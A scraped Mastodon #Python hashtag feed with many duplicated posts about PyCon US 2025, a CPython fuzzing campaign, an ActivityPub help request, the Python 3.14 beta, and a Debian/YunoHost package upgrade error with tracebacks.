Anyone with ActivityPub experience who could take a look? Code is here: https://codeberg.org/blenderdumbass/BDServer/src/branch/main/modules/ActivityPub.py
#ActivityPub #Fediverse #WebDev #Python
❤️
@madiator2011@shark.madiator.com
My friend @blenderdumbass@mastodon.online is implementing ActivityPub for his blog platform and running into weird issues - Lemmy/Misskey can find his account (@blenderdumbass@blenderdumbass.org) but Mastodon can't, even though ActivityPub requests are hitting his server.
He wrote up the full technical journey with all the RSA signature headaches: https://blenderdumbass.org/articles/please_help_me_with_activity_pub
Anyone with ActivityPub experience who could take a look? Code is here: https://codeberg.org/blenderdumbass/BDServer/src/branch/main/modules/ActivityPub.py
#ActivityPub #Fediverse #WebDev #Python
❤️
@madiator2011@shark.madiator.com
My friend @blenderdumbass@mastodon.online is implementing ActivityPub for his blog platform and running into weird issues - Lemmy/Misskey can find his account (@blenderdumbass@blenderdumbass.org) but Mastodon can't, even though ActivityPub requests are hitting his server.
He wrote up the full technical journey with all the RSA signature headaches: https://blenderdumbass.org/articles/please_help_me_with_activity_pub
Anyone with ActivityPub experience who could take a look? Code is here: https://codeberg.org/blenderdumbass/BDServer/src/branch/main/modules/ActivityPub.py
#ActivityPub #Fediverse #WebDev #Python
❤️
@blenderdumbass@mastodon.online
From: blenderdumbass . org
This article is published on a website which is powered by BDServer. And I'm trying to make this website support ActivityPub, so you could for example, subscribe to me from your Mastodon account. Yet it is easier said than done.
If you have any experience with ActivityPub, web-development or Python, please consider helping me. We have BDServ...
Read: https://blenderdumbass.org/articles/please_help_me_with_activity_pub
#activitypub #fediverse #mastodon #bdserver #python #programming #webdev #federation #API
@madiator2011@shark.madiator.com
My friend @blenderdumbass@mastodon.online is implementing ActivityPub for his blog platform and running into weird issues - Lemmy/Misskey can find his account (@blenderdumbass@blenderdumbass.org) but Mastodon can't, even though ActivityPub requests are hitting his server.
He wrote up the full technical journey with all the RSA signature headaches: https://blenderdumbass.org/articles/please_help_me_with_activity_pub
Anyone with ActivityPub experience who could take a look? Code is here: https://codeberg.org/blenderdumbass/BDServer/src/branch/main/modules/ActivityPub.py
#ActivityPub #Fediverse #WebDev #Python
❤️
@blenderdumbass@mastodon.online
From: blenderdumbass . org
This article is published on a website which is powered by BDServer. And I'm trying to make this website support ActivityPub, so you could for example, subscribe to me from your Mastodon account. Yet it is easier said than done.
If you have any experience with ActivityPub, web-development or Python, please consider helping me. We have BDServ...
Read: https://blenderdumbass.org/articles/please_help_me_with_activity_pub
#activitypub #fediverse #mastodon #bdserver #python #programming #webdev #federation #API
@HIprocessor@mastodon.social
#introduction: Benjamin Winkel
(updated after I moved to a new instance)
Hi all, I'm a professional radio astronomer, working full-time in spectrum management (protecting radio astronomy frequencies from cell-phones, Starlink etc.). I like to write software with #Python. In my free time, I enjoy astro photography from my backyard.
My most important research projects are surveys of the neutral atomic hydrogen (using the famous 21-cm spectral line). #EBHIS #HI4PI
@HIprocessor@mastodon.social
#introduction: Benjamin Winkel
(updated after I moved to a new instance)
Hi all, I'm a professional radio astronomer, working full-time in spectrum management (protecting radio astronomy frequencies from cell-phones, Starlink etc.). I like to write software with #Python. In my free time, I enjoy astro photography from my backyard.
My most important research projects are surveys of the neutral atomic hydrogen (using the famous 21-cm spectral line). #EBHIS #HI4PI
@mgorny@treehouse.systems
@SeaFury@aus.social
@danzin@mastodon.social · Reply to danzin's post
So, what's next for fuzzing CPython with fusil?
The results point to interesting future ideas, including expanding fuzzing to new environments like subinterpreters, using more tools like Thread Sanitizer, and developing more advanced fuzzing techniques.
A huge thank you to everyone who contributed!
And thank you for reading!
P.S.: if you have a C/Rust extension, we can fuzz it too: https://mastodon.social/@danzin/114383188014599269
(5/5)
@danzin@mastodon.social · Reply to danzin's post
One finding I really like is the bug discovery pattern.
There wasn't a steady stream of bugs, but spikes of findings: 1st, a huge number of crashes as I started testing a CPython that hadn't been fuzzed by fusil in a decade.
Later, a new wave of issues tied to the addition of new features to the fuzzer, like support for "weird classes" and typing objects.
So periodic campaigns may have better cost-benefit than continuous fuzzing.
(4/5)
@danzin@mastodon.social · Reply to danzin's post
The credit for fusil's effective design goes all to Victor Stinner (@vstinner), who created it nearly two decades ago. It was responsible for finding release blockers way back in 2008. I just contributed a little to revive and enhance it.
Some enhancements included running generated code in threads and adopting new "interesting" objects and values as inputs, helping to discover more crashes.
(3/5)
@danzin@mastodon.social · Reply to danzin's post
All this was only possible due to the great response from the Python community.
Thanks to the developers efforts to triage, diagnose, and fix the problems, the campaign became a collaborative effort to improve Python.
The impact was considerable, mobilizing Core Devs and contributors to create 98 PRs to fix these bugs. The average time to fix an issue was about 20 days, with a median of just five days.
(2/5)
@danzin@mastodon.social
Happy to share the results of a fuzzing campaign targeting CPython that ran from Oct 2024 to May 2025. Using the fusil fuzzer, the goal was to find crashes and improve CPython's robustness.
I really like the results we got: the effort uncovered 52 unique crash-related issues. These reports approached 30% of all "type-crash" issues filed during that period. One of the crashes was classified as a Release Blocker, that was a nice result! :)
(1/5)
@talkpython@fosstodon.org
Very fun episode with @glyph and @mkennedy just dropped. Give it a listen!
Program Your Own Computer with #Python
https://talkpython.fm/episodes/show/508/program-your-own-computer-with-python
@talkpython@fosstodon.org
Very fun episode with @glyph and @mkennedy just dropped. Give it a listen!
Program Your Own Computer with #Python
https://talkpython.fm/episodes/show/508/program-your-own-computer-with-python
@voyd@nullptr.rehab
"Look, I don't think there's anything wrong with programming in #python or #javascript, but you should probably switch to #haskell when you hit like 3 or 4 months of experience
@voyd@nullptr.rehab
"Look, I don't think there's anything wrong with programming in #python or #javascript, but you should probably switch to #haskell when you hit like 3 or 4 months of experience
@danzin@mastodon.social
So, my technical report on fuzzing CPython with fusil is almost done.
I'd really appreciate some help categorizing the found issues by relevance/severity/importance or any other name for impact.
Do you have the chops to help with that? And do you have time and interest? Please get in touch if so! And please boost if you can :)
A plot, some tables, links to the report and some discussion are available in this thread:
https://discuss.python.org/t/feedback-on-the-recent-fusil-fuzzing-campaign-of-cpython/91737
@heikkiket@social.linux.pizza
Do you want to learn how to write small desktop apps for yourself in #linux with #GTK? I'll tell you how.
I will give a presentation at #Helsinki Python Meetup next wednesday. Free entry. Please RSVP in this (unfortunately proprietary) service:
@heikkiket@social.linux.pizza
Do you want to learn how to write small desktop apps for yourself in #linux with #GTK? I'll tell you how.
I will give a presentation at #Helsinki Python Meetup next wednesday. Free entry. Please RSVP in this (unfortunately proprietary) service:
@racketlang@functional.cafe
pyffi: Use Python from Racket
https://github.com/soegaard/pyffi
#python #racket #lisp #scheme
@FediFollows@social.growyourown.services
#Python programming language picks of the day:
➡️ @ThePSF - Official account of Python Software Foundation
➡️ @django - FOSS high-level Python web framework
➡️ @pythonbytes - Python podcast
➡️ @talkpython - Different Python podcast
➡️ @pythonhub - Highlighting interesting Python articles
➡️ @realpython - Tutorials, courses etc for Python
➡️ @pypi - Repository of software for Python
➡️ @pillow - FOSS fork of Python Imaging Library
➡️ @blackpythondevs - Community org for black Python devs
🧵 1/4
@FediFollows@social.growyourown.services
#Python programming language picks of the day:
➡️ @ThePSF - Official account of Python Software Foundation
➡️ @django - FOSS high-level Python web framework
➡️ @pythonbytes - Python podcast
➡️ @talkpython - Different Python podcast
➡️ @pythonhub - Highlighting interesting Python articles
➡️ @realpython - Tutorials, courses etc for Python
➡️ @pypi - Repository of software for Python
➡️ @pillow - FOSS fork of Python Imaging Library
➡️ @blackpythondevs - Community org for black Python devs
🧵 1/4
@FediFollows@social.growyourown.services
#Python programming language picks of the day:
➡️ @ThePSF - Official account of Python Software Foundation
➡️ @django - FOSS high-level Python web framework
➡️ @pythonbytes - Python podcast
➡️ @talkpython - Different Python podcast
➡️ @pythonhub - Highlighting interesting Python articles
➡️ @realpython - Tutorials, courses etc for Python
➡️ @pypi - Repository of software for Python
➡️ @pillow - FOSS fork of Python Imaging Library
➡️ @blackpythondevs - Community org for black Python devs
🧵 1/4
@sethmlarson@fosstodon.org
@pybay@fosstodon.org
Calling all Python people! 👋 The PyBay 2025 Call for Proposals is closing in less than ONE WEEK! Share your knowledge with the Bay Area Python community. Submit your talk by SUNDAY, June 8th: https://sessionize.com/pybay2025 #Python #PyBay
@brainwane@social.coop
I'm proud of my spouse @leonardr for his decades of service to the world. The #Python Software Foundation recently recognized some of that service by naming him a @ThePSF Fellow, and giving him the Community Service Award.
A few photos of the ceremony at #PyConUS 2025: https://harihareswara.net/posts/2025/congratulating-leonard-psf-award/
@itamarst@hachyderm.io
My PyConUS 2025 talk, "Processing Large JSON Files Without Running Out Of Memory", is now up on YouTube:
@itamarst@hachyderm.io
My PyConUS 2025 talk, "Processing Large JSON Files Without Running Out Of Memory", is now up on YouTube:
@pybay@fosstodon.org
Calling all Python people! 👋 The PyBay 2025 Call for Proposals is closing in less than ONE WEEK! Share your knowledge with the Bay Area Python community. Submit your talk by SUNDAY, June 8th: https://sessionize.com/pybay2025 #Python #PyBay
@feoh@oldbytes.space
@glyph@mastodon.social
This probably doesn't work on anyone's computer but my own but it's still probably academically interesting to other #Emacs #Python users to see how I developed a naming convention into a system for not having to constantly waste time by e.g. writing a new manual direnv for every new git repo I clone
https://gist.github.com/glyph/0352baad69b931ed70554d6be4f8e920
@Anarcat@kolektiva.social
Traffic meter per ASN without logs https://anarc.at/blog/2025-05-30-asncounter #debian-planet #python-planet #software #network #sysadmin #tor #censorship #python
@glyph@mastodon.social
I know, I know, I'm going to need to switch to a proper LSP integration at some point (among other reasons, the owner of this repo apparently hasn't even logged into github in like 3 years, it seems plausible that it will never be updated again) but I am still excited that I got #Emacs to stop gaslighting me about my #Python code by finally figuring out what was causing this extremely confusing behavior https://github.com/tkf/emacs-jedi/issues/376
@recombookrank@mastodon-japan.net
【今日のおすすめ📚】
コンピュータ・IT
⭐️VTuberサプーが教える! Python 初心者のコード/プロのコード
https://www.amazon.co.jp/dp/B0D8KNXRK9?tag=ranking-kindleebook-mastodon-japan-22&linkCode=osi&th=1&psc=1
@Natanox@chaos.social
Me when I began to implement a new cool feature in a #FOSS tool:
"How hard can it be?"
Me 2 months later after rewriting half of the file handler logic, dealing with half-baked or non-existing docs currently implementing a thread management class because the program never needed to even be able to stop a child process before I came around (still not knowing if the PR will even be accepted):
@Natanox@chaos.social
Me when I began to implement a new cool feature in a #FOSS tool:
"How hard can it be?"
Me 2 months later after rewriting half of the file handler logic, dealing with half-baked or non-existing docs currently implementing a thread management class because the program never needed to even be able to stop a child process before I came around (still not knowing if the PR will even be accepted):
@Anarcat@kolektiva.social
Traffic meter per ASN without logs https://anarc.at/blog/2025-05-30-asncounter #debian-planet #python-planet #software #network #sysadmin #tor #censorship #python
@hugovk@mastodon.social
@antocuni Here's your SPy-powered @pycon Italia selfie!
#PyConItalia2025 #PyConIT #PyConItalia2025 #PyConIT2025 #PyCon #Python #SPy
@CuratedHackerNews@mastodon.social
Show HN: W++ – A Python-style scripting language for .NET with NuGet support
@hugovk@mastodon.social
@antocuni Here's your SPy-powered @pycon Italia selfie!
#PyConItalia2025 #PyConIT #PyConItalia2025 #PyConIT2025 #PyCon #Python #SPy
@recombookrank@mastodon-japan.net
【今日のおすすめ📚】
コンピュータ・IT
⭐️VTuberサプーが教える! Python 初心者のコード/プロのコード
https://www.amazon.co.jp/dp/B0D8KNXRK9?tag=ranking-kindleebook-mastodon-japan-22&linkCode=osi&th=1&psc=1
@glyph@mastodon.social
Recently I find myself frequently reflecting on the fact that we tried to split up https://twisted.org/ too early (before #Python's packaging toolchain was sophisticated enough to support it) and in the wrong way. We thought everyone would want a-la-carte protocol implementations, so you'd have Twisted "core" which had all the general utilities and the reactor (i.e.: event loop), and then a bunch of add-on packages like Twisted Web (HTTP), Twisted Names (DNS), Twisted Words ("Chat", IRC/XMPP)
@mborus@mastodon.social
Watching @hynek‘s #pyconus talk/rant on domain design on the way to the next #Python event. Which has awesome readable slides you can totally watch on phone on a plane/train, so nothing can stop you from feeling guilty about your current production design choices. I can highly recommend it, especially if you’re a fan of Pydantic.
@gnulinux@social.anoxinon.de
Die eigene Musiksammlung mit beets organisieren
beets ist eine Anwendung zur Organisation der eigenen Musiksammlung. In diesem Artikel wird beschrieben wie ihr beets installiert und verwendet.
#Musik #Terminal #Python #Linux
https://gnulinux.ch/die-eigene-musiksammlung-mit-beets-organisieren
@lobsters@mastodon.social
Add Virtual Threads to Python https://lobste.rs/s/7zijjo #python
https://discuss.python.org/t/add-virtual-threads-to-python/91403
@lobsters@mastodon.social
Add Virtual Threads to Python https://lobste.rs/s/7zijjo #python
https://discuss.python.org/t/add-virtual-threads-to-python/91403
@chrisjrn@social.coop
I am convinced* that @Yhg1s is in the process of creating the most important* study* in the history of #Python, and you should contribute to it: https://docs.google.com/forms/d/e/1FAIpQLSfRgC-YWEriHW_rbcBY9jWJf35w3bPxP01Mg5EAu25lOyPAeg/viewform
@lobsters@mastodon.social
Script to check CODEOWNERS files in all repositories of a github-organisation https://lobste.rs/s/woyndc #python #vcs #vibecoding
https://github.com/sigio/github-audit-org-codeowner
@lobsters@mastodon.social
Script to check CODEOWNERS files in all repositories of a github-organisation https://lobste.rs/s/woyndc #python #vcs #vibecoding
https://github.com/sigio/github-audit-org-codeowner
@mborus@mastodon.social
Watching @hynek‘s #pyconus talk/rant on domain design on the way to the next #Python event. Which has awesome readable slides you can totally watch on phone on a plane/train, so nothing can stop you from feeling guilty about your current production design choices. I can highly recommend it, especially if you’re a fan of Pydantic.
@Yhg1s@social.coop
Use #Python at all? I would like to do a silly thing, which I hope will bring amusement to others as well as me (if it works out).
If you wouldn't mind, please fill out this form, and boost for reach:
https://docs.google.com/forms/d/e/1FAIpQLSfRgC-YWEriHW_rbcBY9jWJf35w3bPxP01Mg5EAu25lOyPAeg/viewform
@chrisjrn@social.coop
I am convinced* that @Yhg1s is in the process of creating the most important* study* in the history of #Python, and you should contribute to it: https://docs.google.com/forms/d/e/1FAIpQLSfRgC-YWEriHW_rbcBY9jWJf35w3bPxP01Mg5EAu25lOyPAeg/viewform
@lr@ciberlandia.pt
@Yhg1s@social.coop
Use #Python at all? I would like to do a silly thing, which I hope will bring amusement to others as well as me (if it works out).
If you wouldn't mind, please fill out this form, and boost for reach:
https://docs.google.com/forms/d/e/1FAIpQLSfRgC-YWEriHW_rbcBY9jWJf35w3bPxP01Mg5EAu25lOyPAeg/viewform
@danzin@mastodon.social · Reply to danzin's post
@neutrinoceros I'm too curious, so I had to fuzz h5py a bit just to see if there were any hits.
A single fuzzing instance on my slow laptop running for 13.5 hours found from 4 to 6 issues (still in doubt about a couple of the deduplications) in 20 hits from 200 sessions: https://gist.github.com/devdanzin/8bae10c60e71a300cbe6a8611d3f1a48
Deduplication (and screenshots :D) is a manual process, but these hits were easy enough to evaluate.
As predicted, only shallow low value issues so far.
Will run proper instances soon-ish.
@Yhg1s@social.coop
Use #Python at all? I would like to do a silly thing, which I hope will bring amusement to others as well as me (if it works out).
If you wouldn't mind, please fill out this form, and boost for reach:
https://docs.google.com/forms/d/e/1FAIpQLSfRgC-YWEriHW_rbcBY9jWJf35w3bPxP01Mg5EAu25lOyPAeg/viewform
@lr@ciberlandia.pt
@Yhg1s@social.coop
Use #Python at all? I would like to do a silly thing, which I hope will bring amusement to others as well as me (if it works out).
If you wouldn't mind, please fill out this form, and boost for reach:
https://docs.google.com/forms/d/e/1FAIpQLSfRgC-YWEriHW_rbcBY9jWJf35w3bPxP01Mg5EAu25lOyPAeg/viewform
@hugovk@mastodon.social · Reply to Hugo van Kemenade's post
Just released: Python 3.14.0 beta 2! 🚀🐍
🥧 Deferred type annotation evaluation!
🥧 T-strings!
🥧 Zstandard!
🥧 Syntax highlighting in the REPL!
🥧 Colour in unittest, argparse, json and calendar CLIs!
🥧 UUID v6-8!
🥧 And much more!
Do you maintain a Python package? Please test 3.14. If you find a bug now, we can fix it before October, which helps everyone. And you might find some places in your code to update as well, which helps you.
https://discuss.python.org/t/python-3-14-0-beta-2-is-here/93396?u=hugovk
@ericof@pynews.com.br
@ericof@pynews.com.br
@phildini@wandering.shop · Reply to phildini's post
In #Python, errors raise an exception!
Exceptions propagate up the stack until they're handled.
One big advantage of raising exceptions: you get tracebacks! This is a good thing, because you get to figure out where the error actually happened
@phildini@wandering.shop · Reply to phildini's post
#python 3.11 turned out to be an excellent vintage when it comes to better exception handling!
Let's start with: "What happens when a function fails?"
Return an error value! Sometimes an int, sometimes a tuple of values.
Sometimes you can do ✨fancy ✨ error returning.
@phildini@wandering.shop · Reply to phildini's post
@gabrock94@fosstodon.org
42 is the perfect number, but if you want to star my repository I won't mind seeing an higher number:
https://github.com/Gabrock94/pyaesthetics
#python #aesthetic #aesthetics #science #OpenScience #OpenSource #pyaesthetics
@Jose_A_Alonso@mathstodon.xyz
@ambv@mastodon.social
Stoked for my WebGL tutorial on Thursday morning at @pycon. 3:30h to show all the basic components of 3D graphics? Might be ambitious! But I'll do my best.
Hopefully the conference wi-fi won't betray us 🤞🏻🤞🏻
@dekuve@mastodon.online
@danzin@mastodon.social · Reply to danzin's post
Remembering variable history is just part of his master plan: he wants to customize the behavior of the `=` (assignment) operator!
Hence the need of getting each assignment: he'll be able to process the value (or even the variable name) before storing it in `globals()`.
His original idea includes calling the value object's `__pre_set__` and `__pos_set__` methods, if any, to allow per class customizing of assignments.
So, yeah, ideas 🥰
@danzin@mastodon.social
My son wanted to make Python remember the values that were assigned to a given variable. That is, after a few reassignments of a variable, you'd be able to show its history, containing each value it pointed to at any time.
So we pair-hacked a script together that does just that, recording simple assignments.
It uses `sys.monitoring` to process each line, then gets the variable name and value from the code disassembly (in a silly way).
https://gist.github.com/pedrowd/4b5898c99f22c350660190a53f6694a2
@Jose_A_Alonso@mathstodon.xyz
AlphaEvolveVerify: Verification of Google DeepMind's AlphaEvolve 48-multiplication matrix algorithm. ~ Deming Xu. https://github.com/PhialsBasement/AlphaEvolve-MatrixMul-Verification #Python #Programming #Math
@Jose_A_Alonso@mathstodon.xyz
Theorems and conjectures with Python. ~ Alessio Drivet. https://www.researchgate.net/publication/391802524_Theorems_and_Conjectures_with_Python #Math #Python #Programming
@Jose_A_Alonso@mathstodon.xyz
@ojala@mastodon.nz
I had the brilliant idea of resuscitating a #python script I wrote in 2009 dealing with odd-format csv files. Slowly moving it to python 3.
For someone who has not been regularly programming python since 2009... I'm still alive.
@dekuve@mastodon.online
@feoh@oldbytes.space
@feoh@oldbytes.space
@Jose_A_Alonso@mathstodon.xyz
A Python frozenset interpretation of Dependent Type Theory. ~ Philip Zucker. https://philipzucker.com/frozenset_dtt/ #TypeTheory #Python #Logic
@Jose_A_Alonso@mathstodon.xyz
Symbolic sets for proving bounds on Rado numbers. ~ Tanbir Ahmed, Lamina Zaman, Curtis Bright. https://arxiv.org/abs/2505.12085# #SAT_solvers #Python #Math
@Jose_A_Alonso@mathstodon.xyz
Readings shared May 19, 2025. https://jaalonso.github.io/vestigium/posts/2025/05/19-readings_shared_05-19-25 #CommonLisp #Coq #ITP #IsabelleHOL #LeanProver #Math #Programming #Python #Rocq
@itamarst@hachyderm.io
PyCon was lots of fun! The slides for my talk on processing large JSON files without running out of memory:
https://pythonspeed.com/pycon2025/slides/
Looking forward to videos getting posted so I can watch all the talks I ended up missing due to scheduling conflicts/practicing my talk/getting lost/meeting someone in the hallway.
@danzin@mastodon.social
@itamarst@hachyderm.io
PyCon was lots of fun! The slides for my talk on processing large JSON files without running out of memory:
https://pythonspeed.com/pycon2025/slides/
Looking forward to videos getting posted so I can watch all the talks I ended up missing due to scheduling conflicts/practicing my talk/getting lost/meeting someone in the hallway.
@sandmouth@types.pl
[New Blog Post] A Python frozenset interpretation of Dependent Type Theory #typetheory #python #logic https://www.philipzucker.com/frozenset_dtt/
@holdenweb@freeradical.zone
https://fosstodon.org/@georgically/114530884889677430 Long overdue #ThePSF recognition for #python people Ewa Jodlowska and Van Lindberg. Happy for them both.
@holdenweb@freeradical.zone
https://fosstodon.org/@georgically/114530884889677430 Long overdue #ThePSF recognition for #python people Ewa Jodlowska and Van Lindberg. Happy for them both.
@ancoghlan@mastodon.social
It doesn't matter how long you play the open source game, the first bug report from a downstream redistributor for a new project is a somewhat surreal experience. For all its many challenges, the development of free and open source software is an utterly astonishing feat of global collaboration. #python #venvstacks #conda #foss
@itamarst@hachyderm.io
PyCon was lots of fun! The slides for my talk on processing large JSON files without running out of memory:
https://pythonspeed.com/pycon2025/slides/
Looking forward to videos getting posted so I can watch all the talks I ended up missing due to scheduling conflicts/practicing my talk/getting lost/meeting someone in the hallway.
@ancoghlan@mastodon.social
It doesn't matter how long you play the open source game, the first bug report from a downstream redistributor for a new project is a somewhat surreal experience. For all its many challenges, the development of free and open source software is an utterly astonishing feat of global collaboration. #python #venvstacks #conda #foss
@mariatta@fosstodon.org
The Official Python Documentary has published their teaser trailer at PyCon US 2025, and I'm so honored to be part of the story of Python along with other prominent Python figures.
Check the trailer, and watch the official launch of the documentary at EuroPython later this year.
@Jose_A_Alonso@mathstodon.xyz
Math for programming (Learn the math, write better code). ~ Ronald T. Kneusel. https://books.google.com/books?id=umDTEAAAQBAJ #Math #Python #Programming
@geoffhing@mastodon.social
@astraluma@tacobelllabs.net
@astraluma@tacobelllabs.net
@mariatta@fosstodon.org
The Official Python Documentary has published their teaser trailer at PyCon US 2025, and I'm so honored to be part of the story of Python along with other prominent Python figures.
Check the trailer, and watch the official launch of the documentary at EuroPython later this year.
@mariatta@fosstodon.org
The Official Python Documentary has published their teaser trailer at PyCon US 2025, and I'm so honored to be part of the story of Python along with other prominent Python figures.
Check the trailer, and watch the official launch of the documentary at EuroPython later this year.
@mariatta@fosstodon.org
The Official Python Documentary has published their teaser trailer at PyCon US 2025, and I'm so honored to be part of the story of Python along with other prominent Python figures.
Check the trailer, and watch the official launch of the documentary at EuroPython later this year.
@mariatta@fosstodon.org
The Official Python Documentary has published their teaser trailer at PyCon US 2025, and I'm so honored to be part of the story of Python along with other prominent Python figures.
Check the trailer, and watch the official launch of the documentary at EuroPython later this year.
@py5coding@fosstodon.org
Everyone at #PyConUS ! I created a "Creative Coding with Python" open space for tomorrow at 1 pm in room 315. Come by to talk about #python and #creativecoding. What tools are you using and what are you working on? Let's learn from each other and have fun sharing our work.
@py5coding@fosstodon.org
Everyone at #PyConUS ! I created a "Creative Coding with Python" open space for tomorrow at 1 pm in room 315. Come by to talk about #python and #creativecoding. What tools are you using and what are you working on? Let's learn from each other and have fun sharing our work.
@mariatta@fosstodon.org
@kevin@brown-silva.social
Interested in attending an open space at #PyConUS? Here are the ones starting at 2:00 PM:
Room 309: Let's talk about the @qt Framework
Room 315: Coding with LLMs
Room 316: All things MCP!
Room 318: @nixos_org + #Python = ♥️
Room 320: Python on GPUs
Room 321: Diversity and Inclusion Working Group
And then there's one starting at 2:15 PM:
Room 308: Python Book Author Meet-and-Greet
@kevin@brown-silva.social
Interested in attending an open space at #PyConUS? Here are the ones starting at 2:00 PM:
Room 309: Let's talk about the @qt Framework
Room 315: Coding with LLMs
Room 316: All things MCP!
Room 318: @nixos_org + #Python = ♥️
Room 320: Python on GPUs
Room 321: Diversity and Inclusion Working Group
And then there's one starting at 2:15 PM:
Room 308: Python Book Author Meet-and-Greet
@mariatta@fosstodon.org
@mariatta@fosstodon.org
@mariatta@fosstodon.org
@ThePSF@fosstodon.org
@jack@social.jacklinke.com
#TIL about boxes.py! Not a new project, but new to me. And it's super cool!
Need to build or design a laser-cut box? They've got you covered.
@jack@social.jacklinke.com
#TIL about boxes.py! Not a new project, but new to me. And it's super cool!
Need to build or design a laser-cut box? They've got you covered.
@ThePSF@fosstodon.org
@danzin@mastodon.social
@pauleveritt @lysnikolaou Looks like it's possible to get a segfault from template strings iterators:
@ThePSF@fosstodon.org
@ThePSF@fosstodon.org
@kevin@brown-silva.social · Reply to Kevin Brown-Silva's post
The second one covers a project called "Audiofeeder" which was originally described as "janky as hell", a sentiment I know quite well from my own side projects.
https://github.com/pganssle/audio-feeder
It's a #Python app that uses #Flask to integrate audiobooks into existing podcast players.
@danzin@mastodon.social
Anybody else having trouble with #PyConUS site not showing the navigation bar?
Edit: never mind, it works if I disable the Dark Reader extension in Firefox. I could swear it used to work before. Sorry for the noise!
@krayola@social.afront.org
if you're attending Pycon US, into electronics, collecting ICs, organizing your component collection, or how to use OCR to automatically identify components, come join us at an open space on Saturday
Python, Electronics, datasheets, and component OC on Saturday | Room 309 | 4 p.m. - 5 p.m.
#pyconus #python #electronics #ocr
@krayola@social.afront.org
if you're attending Pycon US, into electronics, collecting ICs, organizing your component collection, or how to use OCR to automatically identify components, come join us at an open space on Saturday
Python, Electronics, datasheets, and component OC on Saturday | Room 309 | 4 p.m. - 5 p.m.
#pyconus #python #electronics #ocr
@lobsters@mastodon.social
Introducing Pyrefly: A new type checker and IDE experience for Python https://lobste.rs/s/czvto8 #plt #python #rust
https://engineering.fb.com/2025/05/15/developer-tools/introducing-pyrefly-a-new-type-checker-and-ide-experience-for-python/
@lobsters@mastodon.social
Introducing Pyrefly: A new type checker and IDE experience for Python https://lobste.rs/s/czvto8 #plt #python #rust
https://engineering.fb.com/2025/05/15/developer-tools/introducing-pyrefly-a-new-type-checker-and-ide-experience-for-python/
@lobsters@mastodon.social
Introducing Pyrefly: A new type checker and IDE experience for Python https://lobste.rs/s/czvto8 #plt #python #rust
https://engineering.fb.com/2025/05/15/developer-tools/introducing-pyrefly-a-new-type-checker-and-ide-experience-for-python/
@ThePSF@fosstodon.org
@ThePSF@fosstodon.org
@ThePSF@fosstodon.org
Get to know the PSF Developers in Residence at a Meet & Greet session at the PSF Booth @pycon US, starting shortly (May 15th, 5-6PM)! Learn about their work supporting the Python community full-time and ask them all your burning #Python questions 🐍❓#PyConUS @ambv @miketheman @sethmlarson
@ThePSF@fosstodon.org
Get to know the PSF Developers in Residence at a Meet & Greet session at the PSF Booth @pycon US, starting shortly (May 15th, 5-6PM)! Learn about their work supporting the Python community full-time and ask them all your burning #Python questions 🐍❓#PyConUS @ambv @miketheman @sethmlarson
@brettcannon@fosstodon.org
There were layoffs at MS yesterday and 3 #Python core devs from the Faster CPython team were caught in them. If you know of any jobs, please send them their way (they kind of know Python, CPython, and its internals well 😉):
Eric Snow: https://www.linkedin.com/in/ericsnowcurrently/
Irit Katriel: https://www.linkedin.com/in/irit-katriel/
Mark Shannon: https://www.linkedin.com/in/mark-shannon-bb459551/
@aj@gts.sadauskas.id.au · Reply to AJ Sadauskas's post
So over to the command line. First, a sudo apt update.
Debian fetches the updates as it should. It says:
"Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
1 package can be upgraded. Run 'apt list --upgradable' to see it."
Apt list --upgradable mentions: monarx-agent/bookworm 4.2.72-master amd64 [upgradable from: 4.2.62-master]
Okay, so with that done, let's try the three commands YunoHost recommended:
sudo apt install --fix-broken produces the following output:
"Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
0 upgraded, 0 newly installed, 0 to remove and 1 not upgraded.
1 not fully installed or removed.
After this operation, 0 B of additional disk space will be used.
Setting up yunohost (12.0.16) ...
Regenerating configuration, this might take a while...
Traceback (most recent call last):
File "/usr/bin/yunohost", line 108, in <module>
main()
File "/usr/bin/yunohost", line 97, in main
yunohost.cli(
File "/usr/lib/python3/dist-packages/yunohost/__init__.py", line 41, in cli
ret = moulinette.cli(
^^^^^^^^^^^^^^^
File "/usr/lib/python3/dist-packages/moulinette/__init__.py", line 140, in cli
).run(args, output_as=output_as, timeout=timeout)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/lib/python3/dist-packages/moulinette/interfaces/cli.py", line 521, in run
ret = self.actionsmap.process(args, timeout=timeout)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/lib/python3/dist-packages/moulinette/actionsmap.py", line 579, in process
return func(**arguments)
^^^^^^^^^^^^^^^^^
File "/usr/lib/python3/dist-packages/yunohost/app.py", line 1755, in app_ssowatconf
local_manifest = _get_manifest_of_app(setting_path)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/lib/python3/dist-packages/yunohost/app.py", line 2269, in _get_manifest_of_app
manifest = _convert_v1_manifest_to_v2(manifest)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/lib/python3/dist-packages/yunohost/app.py", line 2397, in _convert_v1_manifest_to_v2
install_questions = manifest["arguments"]["install"]
~~~~~~~~^^^^^^^^^^^^^
KeyError: 'arguments'
dpkg: error processing package yunohost (--configure):
installed yunohost package post-installation script subprocess returned error exit status 1
Errors were encountered while processing:
yunohost
E: Sub-process /usr/bin/dpkg returned an error code (1)"
Typing sudo dpkg --configure -a gives us the following:
Setting up yunohost (12.0.16) ...
Regenerating configuration, this might take a while...
Traceback (most recent call last):
File "/usr/bin/yunohost", line 108, in <module>
main()
File "/usr/bin/yunohost", line 97, in main
yunohost.cli(
File "/usr/lib/python3/dist-packages/yunohost/__init__.py", line 41, in cli
ret = moulinette.cli(
^^^^^^^^^^^^^^^
File "/usr/lib/python3/dist-packages/moulinette/__init__.py", line 140, in cli
).run(args, output_as=output_as, timeout=timeout)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/lib/python3/dist-packages/moulinette/interfaces/cli.py", line 521, in run
ret = self.actionsmap.process(args, timeout=timeout)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/lib/python3/dist-packages/moulinette/actionsmap.py", line 579, in process
return func(**arguments)
^^^^^^^^^^^^^^^^^
File "/usr/lib/python3/dist-packages/yunohost/app.py", line 1755, in app_ssowatconf
local_manifest = _get_manifest_of_app(setting_path)
